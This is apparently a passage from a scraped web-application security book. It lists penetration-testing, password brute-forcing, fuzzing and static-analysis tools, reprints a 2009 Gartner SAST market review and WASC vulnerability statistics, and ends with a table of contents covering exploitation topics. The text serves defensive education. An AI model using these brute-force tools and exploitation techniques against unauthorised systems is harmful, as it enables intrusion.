 Toad for Oracle - http://www.quest.com/toad
 Testing SSL
 Qualys SSL Labs - https://www.ssllabs.com/ssldb/index.html
 G-SEC Harden TLS/SSL (beta) - http://www.g-sec.lu/sslharden/HardenSSL.zip
 Foundstone SSL Digger -
http://www.foundstone.com/resources/proddesc/ssldigger.htm
 SSL Scan 1.9.0 - http://sourceforge.net/projects/sslscan/files/
 SSL Tests - v2 - http://www.pentesterscripting.com/discovery/ssl_tests
 Testing for Brute Force Password
 THC Hydra - http://www.thc.org/thc-hydra/
 John the Ripper - http://www.openwall.com/john/
 Brutus - http://www.hoobie.net/brutus/
 Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
 Testing Buffer Overflow
 OllyDbg - http://www.ollydbg.de
 "A windows based debugger used for analyzing buffer overflow
vulnerabilities"
 Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
 A fuzzer framework that can be used to explore vulnerabilities and
perform length testing
 Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
 A proactive binary checker
 Fuzzer
 OWASP WSFuzzer
Googling
 Foundstone Sitedigger (Google cached fault-finding) -
http://www.foundstone.com/resources/proddesc/sitedigger.htm
Commercial Black Box Testing tools
 Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php
229 | P a g e
 NGSSQuirreL - http://www.ngssoftware.com/products/database-security/
 Watchfire AppScan - http://www.watchfire.com
 Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php
 Burp Intruder - http://portswigger.net/intruder
 Acunetix Web Vulnerability Scanner - http://www.acunetix.com
 WebSleuth - http://www.sandsprite.com
 NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php
 Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester
 Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/
 MaxPatrol Security Scanner - http://www.maxpatrol.com
 Ecyware GreenBlue Inspector - http://www.ecyware.com
 Parasoft WebKing (more QA-type tool)
 MatriXay - http://www.dbappsecurity.com
 N-Stalker Web Application Security Scanner - http://www.nstalker.com
Source Code Analyzers
Open Source / Freeware
 Owasp Orizon
 OWASP LAPSE
 OWASP O2 Platform
 PMD - http://pmd.sourceforge.net/
 FlawFinder - http://www.dwheeler.com/flawfinder
 Microsoft’s FxCop
 Splint - http://splint.org
 Boon - http://www.cs.berkeley.edu/~daw/boon
 FindBugs - http://findbugs.sourceforge.net
230 | P a g e
Commercial
 Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure
 CodeWizard - http://www.parasoft.com/products/wizard
 Checkmarx CxSuite - http://www.checkmarx.com
 Fortify - http://www.fortifysoftware.com
 GrammaTech - http://www.grammatech.com
 ITS4 - http://www.cigital.com/its4
 Ounce labs Prexis - http://www.ouncelabs.com
 ParaSoft - http://www.parasoft.com
 Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
 Veracode - http://www.veracode.com
Acceptance Testing Tools
Acceptance testing tools are used to validate the functionality of web applications. Some follow
a scripted approach and typically make use of a Unit Testing framework to construct test suites
and test cases. Most, if not all, can be adapted to perform security specific tests in addition to
functional tests.
Open Source Tools
231 | P a g e
 WATIR - http://wtr.rubyforge.org
 A Ruby based web testing framework that provides an interface into Internet
Explorer.
 Windows only.
 HtmlUnit - http://htmlunit.sourceforge.net
 A Java and JUnit based framework that uses the Apache HttpClient as the
transport.
 Very robust and configurable and is used as the engine for a number of other
testing tools.
 jWebUnit - http://jwebunit.sourceforge.net
 A Java based meta-framework that uses htmlunit or selenium as the testing
engine.
 Canoo Webtest - http://webtest.canoo.com
 An XML based testing tool that provides a facade on top of htmlunit.
 No coding is necessary as the tests are completely specified in XML.
 There is the option of scripting some elements in Groovy if XML does not
suffice.
 Very actively maintained.
 HttpUnit - http://httpunit.sourceforge.net
 One of the first web testing frameworks, suffers from using the native JDK
provided HTTP transport, which can be a bit limiting for security testing.
 Watij - http://watij.com
 A Java implementation of WATIR.
 Windows only because it uses IE for its tests (Mozilla integration is in the works).
 Solex - http://solex.sourceforge.net
 An Eclipse plugin that provides a graphical tool to record HTTP sessions and
make assertions based on the results.
 Selenium - http://www.openqa.org/selenium/
 JavaScript based testing framework, cross-platform and provides a GUI for
creating tests.
 Mature and popular tool, but the use of JavaScript could hamper certain
security tests.
Other Tools
Runtime Analysis
 Rational PurifyPlus - http://www-306.ibm.com/software/awdtools
Binary Analysis
232 | P a g e
 BugScam - http://sourceforge.net/projects/bugscam
 BugScan - http://www.hbgary.com
 Veracode - http://www.veracode.com
Requirements Management
 Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro
Site Mirroring
 wget -
http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.htm
l
 curl - http://curl.haxx.se
 Sam Spade - http://www.samspade.org
 Xenu - http://home.snafu.de/tilman/xenulink.html
Code Review Techniques
 Automatic source code scan:
 Text matching in source code
 Token matching
 Abstract syntax tree analysis
 Input/output path analysis
 Complexity analysis
 Statistical analysis
 Do most automatic code scan findings relate to how data is handled in the application,
and not so much to the actual behavior and its consequences?
Manual code review
 Look for specific signs ( text matching)
 Attack surface discovery
 Input/output path analysis
 Component usage and configuration analysis
 Authorization logic validation
 Custom security constraints, e.g. approval procedures
 Privacy issues
 Architecture analysis
233 | P a g e
Automatic vs. Manual
 Manual review by an expert gives
 Probably less false negatives
 Certainly less false positives
 Insight also concerning design and architecture, overall quality etc…
 OTOH, automatic review is
 Faster
 Broader
 Repeatable
Interpreting automatic analysis results
 Every security verification needs conclusions of
 results
 Is security expertise needed?
 Assessing true positives (real findings)
 Determining false positives (false alerts)
 Estimating false negatives (undiscovered vulnerabilities)
 Making sure scanning configuration is correct
 Can we get good suggestions on how to remedy vulnerabilities automatically?
Enterprise Code Vulnerability Management
Cigital’s Enterprise Security Portal (ESP)
Cigital’s Enterprise Security Portal (ESP) - Cigital's platform that helps customers deploy large enterprise static analysis
solutions while supporting security workflow end-to-end by managing submission, analysis, and reporting. ESP works
with most code analysis tools and guides developers effortlessly through submitting all required material. It facilitates
reviewer understanding of an application and focuses analysis, handling tedious tasks automatically. It also collates
tools' results with the reviewer's, and generates reports without cut-and-paste pain.
234 | P a g e
Features and Benefits:
Submissions Portal
 A single interface for importing source code – streamlining the interaction between development teams and
reviewers. By checking for omissions and completeness, the portal ensures submitted code is ready for
review, complete to start analysis and provides feedback to developers, eliminating the back-and-forth it
typically takes to get reviewable code into the hands of analysts
Analysis – Getting Deeper Results
 Customized configuration of tools based on ESPTM Robots and tuning that provides the most complete
results faster while improving accuracy
 Easy configuration of analysis engines and results views—keep your core competency in applications and
leverage our core competency in technology
235 | P a g e
Reporting
 Generate reports in Microsoft Word, OpenXML, and XHTML—get data into defect tracking, scrums, and
dashboards quickly and easily
 Ability to merge findings from multiple tools, such as Fortify, AppScan Source or AppScan Standard—easily
double-check questionable results, leverage investments made in various groups, and quickly aggregate
independent pockets of activity
It takes good preparation to make things simple. When you make a process simpler, you save time, improve quality,
and reduce cost. Cigital’s ESP is a flexible framework that makes static and dynamic tools truly effective providing a
new approach to a perennial problem—we took something truly difficult to get right and made it practical for
everyone to do.
236 | P a g e
Web Application
Gartnet Magic Quadrant
Market Overview
This is the first Magic Quadrant for the SAST market. The SAST market leaders are smaller,
innovative, security-focused vendors (Fortify Software and Ounce Labs) that provide static
security testing tools as their primary offerings. Both of these vendors offer broad language
support and integration into a variety of software life cycle (SLC) platforms.
However, the majority of SLC platform vendors will recognize the need to add security testing
capabilities to their platforms and perform this integration over the next several years. Most of
the large SLC vendors (for example, HP and IBM) have taken steps in that direction (Microsoft
has some basic capabilities). Yet, in all these cases, the offerings fall short of the breadth of
coverage options available from dedicated point-solution vendors.
Also challenging the market leaders are SLC vendors that focus on overall application quality
testing tools, where security is treated as one aspect of application quality (for example,
Coverity, Klocwork, Parasoft and Compuware). These vendors are able to sell security testing
capabilities to their installed base, typically to the same development teams that were
interested in application quality. The notion of application “resilience” and “robustness” spans
quality and security issues. For some customers already using these tools, working with these
vendors becomes an easy and pragmatic way to add security testing to their environments.
The market for SAST will experience significant changes:
• Commoditizationofsomecapabilities
• Consolidationoffeaturesandproducts
• Deliveryoftestingasaservice
• IntegrationofSASTatlittleornocostinto
SLC platforms
Enterprises considering SAST should expect ongoing market and product consolidation, as well
as downward pricing pressures during the next 24 months. The difficult economic conditions of
2009 (that are likely to extend into 2010) will place tremendous pressure on smaller vendors of
SAST point solutions. As with any contract negotiation, organizations are advised to include
appropriate protection clauses in their contracts in the event of a vendor merger, acquisition or
failure. We recommend contract terms of no longer than 24 months.
237 | P a g e
Delivering security testing as a service is a growing area of interest for Gartner clients as a way
to reduce upfront costs and to augment limited internal resources. Indeed, one of the vendors,
Veracode, offers SAST capabilities only as a service. Testing as a service will have a significant
impact on the application security market. During the next 18 months, most application security
testing vendors will offer their SAST, as well as dynamic application security testing (DAST),
solutions optionally or exclusively as a service. Increasingly, we hear from organizations that
prefer to use a product and a service from the SAST vendor. For example, they test critical
applications but use services to augment the testing for less-critical applications, or they start
with services and then make the transition to a product as their staff gains experience.
Another significant trend is the ability of SAST solutions to scan applications where the source
code is unavailable. At a minimum, SAST solutions that scan Java and .NET code should be able
to scan the byte code representations of the actual source code. This capability is
straightforward and should be required in any vendor’s offering that scans Java and .NET
applications. Veracode is the only vendor that has delivered the capability to scan executable
code in its binary format. This is an important area, especially in software architectures where
calls are made to programs — such as packaged applications, services subscribed to over the
Internet and dynamic link libraries — whose source code is unavailable for security testing, but
for which binaries are available. With this approach, users must analyze the code in its compiled
state so challengers leaders niche players visionaries completeness of vision As of February
2009:
 Fortify Software
 Ounce Labs
 HP
 IBM
 Veracode
 Compuware
 Microsoft
 Kloowork
 Parasoft
 Coverity
238 | P a g e
Ability to execute:
Figure 1. Magic Quadrant for Static Application Security Testing
Source: Gartner
That any externally included library- or platform-specific problems can be identified. Thus, this
capability is useful even when source code is available. The SAST market risks disappearing as a
stand-alone market during the next five to seven years as the major SLC platform providers
supply SAST technologies or acquire SAST startup vendors. The proper place for application
security testing is in the SLC process. Most organizations will consume SAST via security
testing capabilities integrated with SLC platforms, especially if SAST capabilities are included
with the SLC platform at little or no additional perceived cost.
Magic Quadrant Overview
239 | P a g e
Two vendors are in the Leaders quadrant:
• Fortify has a broader vision and greater ability to execute than Ounce Labs. To keep its
leadership and remain independent, Fortify should acquire or build in-depth DAST
capabilities in addition to its SAST offering, and also become a full-fledged testing-as-a-
service provider. An alternative is for the vendor to be acquired by a large SLC platform
vendor, preferably a leader in DAST, to combine leadership in SAST and DAST in one
vendor offering.
• Ounce Labs could streng then its position by adding DAST capabilities, partnerships and
expanded testing-as-a-service offerings. An alternative is for the vendor to be acquired
by a large SLC platform vendor, preferably a leader in DAST, to combine leadership in
SAST and DAST in one vendor offering. Considering that it is positioned lower than
Fortify in vision and execution, Ounce Labs should act faster and more decisively than it
is doing now.
Several vendors are grouped closely around the center of the Magic Quadrant. They have the
potential to move into other quadrants and, most importantly, into the Leaders quadrant. To
realize that potential:
• HP and IBM should substantially increase SAST capabilities to fulfill their leadership
ambitions in the overall application security space. Each vendor’s vision and execution in
SAST should increase substantially to match its leadership in the DAST market (which
was made through acquisitions). Currently, they are lagging behind the SAST market
leaders in vision and execution. That gap should be bridged by acquisitions (a fast
approach) or internal technology development (a longer approach). Both vendors
should develop SAST testing-as-a-service offerings that leverage their worldwide
presence — HP with the acquisition of EDS, and IBM with its Global Services
organization.
• Veracode should modify/enhance some aspects of its vision to attract more clients —
for example, by providing a version of its technology for organizations that want to
perform testing
• themselves. Veracode should invest maximum efforts to improve its execution
capabilities and do it rapidly, considering its smaller size and emerging competition from
larger vendors.
• Coverity and Klocwork should consider making security analysis (rather than quality
analysis) their strategic objective; focus on expanding their capabilities that address the
needs of mainstream enterprises, in addition to specialized software and hardware
vendors; and grow their security revenue. Also, each vendor should develop DAST
capabilities and strengthen the appeal of its offerings outside its installed base.
• Parasoft should grow awareness and strengthen the application-security reputation
among its enterprise prospects, develop broader security testing capabilities with
240 | P a g e
offerings and packaging that appeal to all enterprises, reach beyond its installed base,
and expedite the rate of growth to match startup vendors, such as Fortify and Coverity.
241 | P a g e
WASC Web App Security Statistics
Summary
The statistics includes data about 12186 web applications with 97554 detected vulnerabilities of
different risk levels. The analysis shows that more than 13%* of all reviewed sites can be
compromised completely automatically. About 49% of web applications contain vulnerabilities
of high risk level (Urgent and Critical) detected during automatic scanning (T. 1). However,
detailed manual and automated assessment by white box method allows to detect these high
risk level vulnerabilities with probability up to 80-96%. The probability to detect vulnerabilities
with risk level more than medium (PCI DSS compliance level) is more than 86% by any method.
At the same time, detailed analysis shows that 99% of web applications are not compliant with
PCI DSS standard (T. 6, P. 13).
* Web applications with Brute Force Attack, Buffer Overflow, OS Commanding, Path Traversal,
Remote File Inclusion, SSI Injection, Session Fixation, SQL Injection, Insufficient Authentication,
Insufficient Authorization vulnerabilities detected by automatic scanning.
The following conclusions can be drawn based on the analysis:
 The most wide spread vulnerabilities are Cross-site Scripting, different types of
Information Leakage, SQL Injection, HTTP Response Splitting;
 The probability to detect a urgent or critical error in dynamic web application is about
49% by automatic scanning and 96% by comprehensive expert analysis (white box
method);
 Administration issues are 20% more frequent cause of a vulnerability than system
development errors;
 99% of web application are not compliant with PCI DSS standard requirements, and 48%
of web applications are not compliant with criteria of ASV scanning by PCI DSS;
 Detailed white box method analysis allows to detect up to 91 vulnerabilities per web
application, while automatic scanning – only 3;
 Compared to 2007, the number of sites with wide spread SQL Injection and Cross-site
Scripting vulnerabilities fell by 13% and 20%, respectively, however, the number of sites
with different types of Information Leakage rose by 24%. On the other hand, the
probability to compromise a host automatically rose from 7 to 13 %.
242 | P a g e
Data analysis
General analysis
T. 1 and P. 1 show the probability to detect vulnerabilities of different risk levels detected during audits
and automatic scanning.
Thus, automatic scanning detected up to 86% sites with one or some vulnerabilities of medium (or higher)
risk level (Urgent-High). Black box and white box analysis methods increase it to 92-98%, respectively.
These results are greatly depend on the fact that detailed risk assessment analysis is more adequate and
consider not only vulnerability type but its exploitation consequences and application design and
implementation. Another important fact is that automatic scanning was made for hosting provider sites
which in some cases have no active content, while security assessment is usually done for application with
complicated business logic. That is that automatic scanning results can be interpret as typical Internet site
scanning results, while black box and white box methods results are scanning results of interactive
corporate web applications.
P. 1 The probability to detect vulnerabilities of different risk levels
T. 1 The probability to detect vulnerabilities of different risk levels classes
243 | P a g e
ALL Scans BlackBox WhiteBox
Urgent 18.77% 16.70% 19.69% 50.00%
Critical 45.22% 39.25% 74.76% 92.00%
High 72.27% 73.09% 58.51% 62.00%
Medium 36.56% 40.19% 12.05% 24.00%
Low 29.69% 34.45% 0.10% 4.00%
U+C 55.50% 49.40% 79.73% 96.00%
U+C+H 87.66% 86.30% 95.66% 98.84%
The most widespread vulnerabilities are Cross-Site Scripting, Information Leakage, SQL Injection,
Insufficient Transport Layer Protection, Fingerprinting и HTTP Response Splitting (P. 2). As a rule, Cross-
Site Scripting, SQL Injection and HTTP Response Splitting vulnerabilities are caused by design errors, while
Information Leakage, Insufficient Transport Layer Protection and Fingerprinting are often caused by
insufficient administration (e.g., access control).
P. 2 The most widespread vulnerabilities in web applications (% Vulns ALL)
244 | P a g e
P. 3 The probability to detect the most widespread vulnerabilities in web applications (% Sites ALL)
P. 4 Percent of vulnerabilities out of total number of vulnerabilities (% Vulns ALL)
245 | P a g e
If we consider vulnerability origin as a whole (according to classification in Appendix 2) we’ll see that
vulnerabilities caused by insufficient administration are 20% more frequent (P. 5). At the same time, there
are up to 4 issues per site caused by administration flaws and up to 8 vulnerabilities caused by design
errors (T. 2).
T. 2 The probability to detect vulnerabilities depending on vulnerability origin
No. of Vulns No. of Sites % Vulns % Sites No. Vulns on Site
Vulnerability in administration 41859 10347 42.91% 84.91% 4.05
Vulnerability in code 55695 7023 57.09% 57.63% 7.93
Less than 60% of vulnerabilities are in
code

More Related Content

PDF
Hacker techniques, exploit and incident handling
PDF
Implementing and auditing security controls part 1
PDF
Advanced web application hacking and exploitation
PDF
Siem &amp; log management
PDF
Configuring Microsoft Windows IP Security to Operate with HP ...
PDF
Laravel 4 Documentation
PDF
Yahoo Web Analytics API Reference Guide
PDF
Quick testprofessional book_preview
Hacker techniques, exploit and incident handling
Implementing and auditing security controls part 1
Advanced web application hacking and exploitation
Siem &amp; log management
Configuring Microsoft Windows IP Security to Operate with HP ...
Laravel 4 Documentation
Yahoo Web Analytics API Reference Guide
Quick testprofessional book_preview

What's hot (18)

PDF
Mvc music store tutorial - v3.0 (1)
PDF
Mvc music store tutorial - v3.0
PDF
Handbook all eng
PDF
Reseller's Guide
PDF
Soa In The Real World
PDF
Mysql tutorial-excerpt-5.1-en
PDF
Documentation de Doctrine ORM
PDF
Wisr2011 en
PDF
IPv6 Deployment Guide
PDF
SAINT 7 : User Documentation
PDF
Hacking.pdf
DOCX
Comparing Game Development on the Android and Windows Phone 7 Platforms.
PDF
Data source integration guide for HP Performance Agent
PDF
Gemini Manual
PDF
Drools expert-docs
PDF
Sap basis r3 hand book
PDF
Hibernate Reference
PDF
Hibernate reference
Mvc music store tutorial - v3.0 (1)
Mvc music store tutorial - v3.0
Handbook all eng
Reseller's Guide
Soa In The Real World
Mysql tutorial-excerpt-5.1-en
Documentation de Doctrine ORM
Wisr2011 en
IPv6 Deployment Guide
SAINT 7 : User Documentation
Hacking.pdf
Comparing Game Development on the Android and Windows Phone 7 Platforms.
Data source integration guide for HP Performance Agent
Gemini Manual
Drools expert-docs
Sap basis r3 hand book
Hibernate Reference
Hibernate reference
Ad

Viewers also liked (20)

PDF
Java secure development part 2
PDF
Java secure development part 3
PDF
Implementing and auditing security controls part 2
PDF
TEDx Manchester: AI & The Future of Work
PDF
Monage.io identity presentation 3.22.17 v3
PPTX
Securing the modern data centre
PPTX
Securing IaaS Applications
PPTX
Introduction to OAuth 2.0 - Part 1
PPTX
Introduction to OAuth 2.0 - the technology you need but never really learned
PPT
OAuth 2.0 and OpenId Connect
PDF
OAuth 2.0 & OpenID Connect @ OpenSource Conference 2011 Tokyo #osc11tk
PPTX
Deep Dive DMG (september update)
PPTX
Authorization for Internet of Things using OAuth 2.0
PDF
'Embedding' a meta state machine
PDF
The Future is Now: The ForgeRock Identity Platform, Early 2017 Release
PDF
Cyber attacks 101
PDF
Issa security in a virtual world
PDF
Ciso back to the future - network vulnerabilities
PDF
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
PDF
NFV SDN for carriers
Java secure development part 2
Java secure development part 3
Implementing and auditing security controls part 2
TEDx Manchester: AI & The Future of Work
Monage.io identity presentation 3.22.17 v3
Securing the modern data centre
Securing IaaS Applications
Introduction to OAuth 2.0 - Part 1
Introduction to OAuth 2.0 - the technology you need but never really learned
OAuth 2.0 and OpenId Connect
OAuth 2.0 & OpenID Connect @ OpenSource Conference 2011 Tokyo #osc11tk
Deep Dive DMG (september update)
Authorization for Internet of Things using OAuth 2.0
'Embedding' a meta state machine
The Future is Now: The ForgeRock Identity Platform, Early 2017 Release
Cyber attacks 101
Issa security in a virtual world
Ciso back to the future - network vulnerabilities
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
NFV SDN for carriers
Ad

Similar to Java secure development part 1 (20)

PDF
Selenium jupiter j-unit 5 extension for selenium and appium
PDF
Verio Web Hosting Virtual Server Handbook
PDF
Verio Web Hosting Virtual Server Handbook
PDF
Guide citrix presentation server™ - client for java administrator’s
PDF
UniFi_Controller_V5_UG.pdf
PDF
irmpg_3.7_python_202301.pdf
PDF
Linux-Perf.pdf
PDF
Guia de usuario arena
PDF
Perceptive nolij web installation and upgrade guide 6.8.x
PDF
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
PDF
Web securith cws getting started
PDF
Guia definitiva de shodan
PDF
Expert oracle database architecture
PDF
Selenium python
PDF
Powershell selflearn
PDF
Powershell selflearn
PDF
Beginning Java Me Platform 1st Edition Ray Rischpater
PDF
Verio Web Hosting Virtual Server Handbook
PDF
Verio Web Hosting Virtual Server Handbook
PDF
Inter-Tel Web Conferencing and Remote Support User Guide
Selenium jupiter j-unit 5 extension for selenium and appium
Verio Web Hosting Virtual Server Handbook
Verio Web Hosting Virtual Server Handbook
Guide citrix presentation server™ - client for java administrator’s
UniFi_Controller_V5_UG.pdf
irmpg_3.7_python_202301.pdf
Linux-Perf.pdf
Guia de usuario arena
Perceptive nolij web installation and upgrade guide 6.8.x
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
Web securith cws getting started
Guia definitiva de shodan
Expert oracle database architecture
Selenium python
Powershell selflearn
Powershell selflearn
Beginning Java Me Platform 1st Edition Ray Rischpater
Verio Web Hosting Virtual Server Handbook
Verio Web Hosting Virtual Server Handbook
Inter-Tel Web Conferencing and Remote Support User Guide

More from Rafel Ivgi (14)

PDF
Darknet
PDF
Cyber crime
PDF
Top 10 mistakes running a windows network
PDF
Firmitas Cyber Solutions - Inforgraphic - Mirai Botnet - A few basic facts on...
PDF
Firmitas Cyber Solutions - Inforgraphic - ICS & SCADA Vulnerabilities
PDF
United States O1 Visa Approval
PDF
Comptia Security+ CE Certificate
PDF
ISACA Membership
PDF
CISSP
PDF
PDF
LPIC-1
PDF
CRISC
PDF
Iso 27001 Pecb Ismsla 100193 Rafel Ivgi
PDF
Webapplicationsecurity05 2010 100601100553 Phpapp02
Darknet
Cyber crime
Top 10 mistakes running a windows network
Firmitas Cyber Solutions - Inforgraphic - Mirai Botnet - A few basic facts on...
Firmitas Cyber Solutions - Inforgraphic - ICS & SCADA Vulnerabilities
United States O1 Visa Approval
Comptia Security+ CE Certificate
ISACA Membership
CISSP
LPIC-1
CRISC
Iso 27001 Pecb Ismsla 100193 Rafel Ivgi
Webapplicationsecurity05 2010 100601100553 Phpapp02

Recently uploaded (20)

PPTX
Operating system designcfffgfgggggggvggggggggg
PPTX
Odoo POS Development Services by CandidRoot Solutions
PDF
Understanding Forklifts - TECH EHS Solution
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
PPTX
Introduction to Artificial Intelligence
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PPTX
CHAPTER 2 - PM Management and IT Context
PPTX
history of c programming in notes for students .pptx
PDF
Digital Strategies for Manufacturing Companies
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PDF
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PDF
Softaken Excel to vCard Converter Software.pdf
Operating system designcfffgfgggggggvggggggggg
Odoo POS Development Services by CandidRoot Solutions
Understanding Forklifts - TECH EHS Solution
2025 Textile ERP Trends: SAP, Odoo & Oracle
VVF-Customer-Presentation2025-Ver1.9.pptx
Odoo Companies in India – Driving Business Transformation.pdf
Adobe Illustrator 28.6 Crack My Vision of Vector Design
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Introduction to Artificial Intelligence
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
CHAPTER 2 - PM Management and IT Context
history of c programming in notes for students .pptx
Digital Strategies for Manufacturing Companies
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
wealthsignaloriginal-com-DS-text-... (1).pdf
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
How to Migrate SBCGlobal Email to Yahoo Easily
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Softaken Excel to vCard Converter Software.pdf

Java secure development part 1

  • 1. Java, JBoss, Tomcat & Web Application Security D e f e n s i a 2 0 1 1 Rafel Ivgi This book introduces the world of hacking and involves the reader with the current players, the rules of the game, motivation and new trends.
  • 2. 1 | P a g e TABLE OF CONTENTS Introduction to Web Application Security..................................................................................... 15 Foot-printing visiting Reconnaissance....................................................................................... 15 Foot-Printing each Service Server Software Name and Version ........................................... 15 Enumeration Overview of System Hacking Cycle...................................................................... 19 Enumerating the allowed HTTP Methods on a Web Server:................................................. 19 Enumerating Usernames Using Google..................................................................................... 20 Exposed Configuration Files .................................................................................................. 20 Private User Directories............................................................................................................. 21 Apache User Enumeration..................................................................................................... 21 WordPress Authors Template User Enumeration Vulnerability ........................................... 22 DNS Enumeration...................................................................................................................... 24 Dictionary Based DNS Enumeration...................................................................................... 24 Brute Forcing DNS Sub-Domains............................................................................................... 25 Denial-of-Service Real World Scenario of D.o.S Attacks ........................................................... 26 Ping of Death......................................................................................................................... 26 Permanent denial-of-service attacks – PDOS........................................................................ 26 IP Spoofing................................................................................................................................. 27 Land Attack................................................................................................................................ 27 SYN Flood............................................................................................................................... 28 SYN Flood + IP Spoofing......................................................................................................... 30 Reflected attack: Source IP Spoofing + SYN Sent ...................................................................... 31 Distributed attack – DDOS..................................................................................................... 32 Amplification/Smurf attack ................................................................................................... 34 Session Hi-Jacking - What is Session Hi-Jacking?....................................................................... 36 Hacking Web Servers How Web Servers Work ......................................................................... 42 Components of a generic web application system ............................................................... 42 URL mappings to the web application system .......................................................................... 43 Flowchart for a one-way web hack ....................................................................................... 44 Finding the entry point.......................................................................................................... 45
  • 3. 2 | P a g e Exploiting URL parsing........................................................................................................... 46 Exploiting poorly validated input parameters....................................................................... 46 Exploiting SQL injection......................................................................................................... 46 Automating the POST process............................................................................................... 48 Web based command prompt............................................................................................... 49 File uploader.......................................................................................................................... 52 One-Way Privilege Escalation................................................................................................ 54 Web Application Vulnerabilities Web Application Setup.......................................................... 55 XSS – Cross-Site-Scripting...................................................................................................... 55 Automated exploiting bots.................................................................................................... 59 Cross Site Request Forgery (CSRF/XSRF/Session Riding)....................................................... 60 Open/Un-Validated Site Redirection / Cross Domain Redirect............................................. 63 SQL-injection - What is SQL Injection? ...................................................................................... 67 Introduction........................................................................................................................... 67 SQL injection Prevention....................................................................................................... 72 Web-Based Password Cracking Techniques Authentication – Definition................................ 74 Linux Hacking - Why Linux?....................................................................................................... 81 Linux/Apache privilege escalation......................................................................................... 81 Uploading the UNIX attack tools ........................................................................................... 81 ptrace1.c................................................................................................................................ 81 Buffer Overflows Why is Programs/Applications Vulnerable?.................................................. 88 Verify the bug........................................................................................................................ 88 Process Memory.................................................................................................................... 90 The Stack ............................................................................................................................... 92 The debugger....................................................................................................................... 101 Determining the buffer size to write exactly into EIP ......................................................... 105 Find memory space to host the shellcode .......................................................................... 109 Jump to the shellcode in a reliable way .............................................................................. 112 Get shellcode and finalize the exploit ................................................................................. 118 What if you want to do something else than launching calc? ............................................ 120
  • 4. 3 | P a g e Heap Overflows................................................................................................................... 124 Exploiting Heap Overflows .................................................................................................. 126 Off-By-One........................................................................................................................... 130 Signed vs. Un-Signed ........................................................................................................... 130 Memory Protection Mechanisms........................................................................................ 131 SafeSEH................................................................................................................................ 132 Address Space Layout Randomization (ASLR) ..................................................................... 133 NX (No eXecute – Hardware DEP)....................................................................................... 134 Basic Intoduction To Cryptography ......................................................................................... 138 Hash..................................................................................................................................... 138 MD5 HASH “Reverse”.......................................................................................................... 139 Rainbow Tables.................................................................................................................... 140 SSL........................................................................................................................................ 141 Java Language Security and Bytecode Verification ..................................................................... 143 Acceptance-test driven development for web applications ....................................................... 160 ATDD is a simple process change that can have far-reaching implications for your development projects. ............................................................................................................ 160 From acceptance tests to ATDD .............................................................................................. 161 ATDD in practice...................................................................................................................... 161 Automating your acceptance tests...................................................................................... 162 ATDD tools........................................................................................................................... 163 Automating acceptance tests for web applications................................................................ 164 In conclusion............................................................................................................................ 165 Java 7: What's in it for developers .......................................................................................... 166 After a long wait and a rough start, Java 7 brings a multitude of improvements for developers........................................................................................................................... 166 Crash exploit – floating point conversion............................................................................ 167 Escaping the Java Sandbox – Was it ever done?..................................................................... 172 Avoiding NoSQL-injection with MongoDB........................................................................... 172 Secure APIs 